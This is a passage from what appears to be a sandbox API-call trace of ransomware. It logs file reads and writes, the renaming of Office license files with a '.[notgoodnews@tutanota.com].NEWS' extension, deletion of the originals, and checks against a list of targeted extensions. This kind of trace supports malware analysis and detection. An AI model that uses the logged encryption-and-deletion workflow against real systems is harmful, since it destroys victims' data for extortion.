lpNumberOfBytesWritten=0x321fc94*=0x108, lpOverlapped=0x0) returned 1 [0176.447] SetEndOfFile (hFile=0x550) returned 1 [0176.447] CloseHandle (hObject=0x550) returned 1 [0176.447] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.447] SetEndOfFile (hFile=0x4dc) returned 1 [0176.450] CloseHandle (hObject=0x4dc) returned 1 [0176.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1 [0176.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.651] lstrlenW (lpString=".doc") returned 4 [0176.651] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.651] lstrlenW (lpString=".docx") returned 5 [0176.651] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.651] lstrlenW (lpString=".pdf") returned 4 [0176.651] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.651] lstrlenW (lpString=".xls") returned 4 [0176.651] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.651] lstrlenW (lpString=".xlsx") returned 5 [0176.651] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.651] lstrlenW (lpString=".ppt") returned 4 [0176.651] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.651] lstrlenW (lpString=".zip") returned 4 [0176.651] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.651] lstrlenW (lpString=".rar") returned 4 [0176.652] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString=".bz2") returned 4 [0176.652] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString=".7z") returned 3 [0176.652] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.652] lstrlenW (lpString=".dbf") returned 4 [0176.652] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.652] lstrlenW (lpString=".1cd") returned 4 [0176.652] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.652] lstrlenW (lpString=".jpg") returned 4 [0176.652] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.652] lstrlenW (lpString=".doc") returned 4 [0176.652] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString=".docx") returned 5 [0176.652] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.652] lstrlenW (lpString=".pdf") returned 4 [0176.652] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString=".xls") returned 4 [0176.652] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString=".xlsx") returned 5 [0176.652] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.652] lstrlenW (lpString=".ppt") returned 4 [0176.652] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.652] lstrlenW (lpString=".zip") returned 4 [0176.652] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString=".rar") returned 4 [0176.652] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString=".bz2") returned 4 [0176.652] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.652] lstrlenW (lpString=".7z") returned 3 [0176.653] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.653] lstrlenW (lpString=".dbf") returned 4 [0176.653] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.653] lstrlenW (lpString=".1cd") returned 4 [0176.653] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0176.653] lstrlenW (lpString=".jpg") returned 4 [0176.653] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.653] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.653] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30 [0176.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0176.654] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19932) returned 1 [0176.654] CloseHandle (hObject=0x514) returned 1 [0176.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0176.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0176.655] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.655] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0176.655] GetLastError () returned 0x0 [0176.655] ReadFile (in: hFile=0x514, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x4ddc, lpOverlapped=0x0) returned 1 [0176.706] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0176.707] ReadFile (in: hFile=0x514, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.707] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x110, lpOverlapped=0x0) returned 1 [0176.708] SetEndOfFile (hFile=0x54c) returned 1 [0176.708] CloseHandle (hObject=0x54c) returned 1 [0176.708] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.708] SetEndOfFile (hFile=0x514) returned 1 [0176.710] CloseHandle (hObject=0x514) returned 1 [0176.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0176.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.712] lstrlenW (lpString=".doc") returned 4 [0176.712] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString=".docx") returned 5 [0176.712] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.712] lstrlenW (lpString=".pdf") returned 4 [0176.712] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString=".xls") returned 4 [0176.712] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString=".xlsx") returned 5 [0176.712] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.712] lstrlenW (lpString=".ppt") returned 4 [0176.712] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.712] lstrlenW (lpString=".zip") returned 4 [0176.712] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString=".rar") returned 4 [0176.712] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString=".bz2") returned 4 [0176.712] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString=".7z") returned 3 [0176.712] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.712] lstrlenW (lpString=".dbf") returned 4 [0176.712] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.712] lstrlenW (lpString=".1cd") returned 4 [0176.712] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.712] lstrlenW (lpString=".jpg") returned 4 [0176.712] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.712] lstrlenW (lpString=".doc") returned 4 [0176.712] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0176.713] lstrlenW (lpString=".docx") returned 5 [0176.713] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0176.713] lstrlenW (lpString=".pdf") returned 4 [0176.713] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0176.713] lstrlenW (lpString=".xls") returned 4 [0176.713] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0176.713] lstrlenW (lpString=".xlsx") returned 5 [0176.713] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0176.713] lstrlenW (lpString=".ppt") returned 4 [0176.713] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0176.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.713] lstrlenW (lpString=".zip") returned 4 [0176.713] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0176.713] lstrlenW (lpString=".rar") returned 4 [0176.713] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0176.713] lstrlenW (lpString=".bz2") returned 4 [0176.713] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0176.713] lstrlenW (lpString=".7z") returned 3 [0176.713] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0176.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.713] lstrlenW (lpString=".dbf") returned 4 [0176.713] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0176.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.713] lstrlenW (lpString=".1cd") returned 4 [0176.713] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0176.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0176.713] lstrlenW (lpString=".jpg") returned 4 [0176.713] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0176.713] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.713] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24 [0176.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0176.732] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10631) returned 1 [0176.732] CloseHandle (hObject=0x514) returned 1 [0176.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220 [0176.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0176.733] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.733] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0176.734] GetLastError () returned 0x0 [0176.734] ReadFile (in: hFile=0x514, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2987, lpOverlapped=0x0) returned 1 [0176.772] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2990, lpOverlapped=0x0) returned 1 [0176.773] ReadFile (in: hFile=0x514, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.773] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x104, lpOverlapped=0x0) returned 1 [0176.773] SetEndOfFile (hFile=0x54c) returned 1 [0176.773] CloseHandle (hObject=0x54c) returned 1 [0176.774] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.774] SetEndOfFile (hFile=0x514) returned 1 [0176.856] CloseHandle (hObject=0x514) returned 1 [0176.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1 [0177.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.174] lstrlenW (lpString=".doc") returned 4 [0177.174] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.174] lstrlenW (lpString=".docx") returned 5 [0177.174] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.174] lstrlenW (lpString=".pdf") returned 4 [0177.174] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.174] lstrlenW (lpString=".xls") returned 4 [0177.174] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.174] lstrlenW (lpString=".xlsx") returned 5 [0177.174] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.174] lstrlenW (lpString=".ppt") returned 4 [0177.174] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.174] lstrlenW (lpString=".zip") returned 4 [0177.174] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.174] lstrlenW (lpString=".rar") returned 4 [0177.174] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.174] lstrlenW (lpString=".bz2") returned 4 [0177.174] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.174] lstrlenW (lpString=".7z") returned 3 [0177.175] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.175] lstrlenW (lpString=".dbf") returned 4 [0177.175] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.175] lstrlenW (lpString=".1cd") returned 4 [0177.175] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.175] lstrlenW (lpString=".jpg") returned 4 [0177.175] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.175] lstrlenW (lpString=".doc") returned 4 [0177.175] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString=".docx") returned 5 [0177.175] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.175] lstrlenW (lpString=".pdf") returned 4 [0177.175] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString=".xls") returned 4 [0177.175] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString=".xlsx") returned 5 [0177.175] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.175] lstrlenW (lpString=".ppt") returned 4 [0177.175] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.175] lstrlenW (lpString=".zip") returned 4 [0177.175] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString=".rar") returned 4 [0177.175] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString=".bz2") returned 4 [0177.175] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.175] lstrlenW (lpString=".7z") returned 3 [0177.176] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.176] lstrlenW (lpString=".dbf") returned 4 [0177.176] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.176] lstrlenW (lpString=".1cd") returned 4 [0177.176] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0177.176] lstrlenW (lpString=".jpg") returned 4 [0177.176] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.176] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.176] lstrlenW (lpString="AccessR_Trial-pl.xrm-ms") returned 23 [0177.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0177.297] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11143) returned 1 [0177.297] CloseHandle (hObject=0x554) returned 1 [0177.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220 [0177.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0177.298] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.298] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0177.299] GetLastError () returned 0x0 [0177.299] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2b87, lpOverlapped=0x0) returned 1 [0177.584] WriteFile (in: hFile=0x514, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0177.586] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, 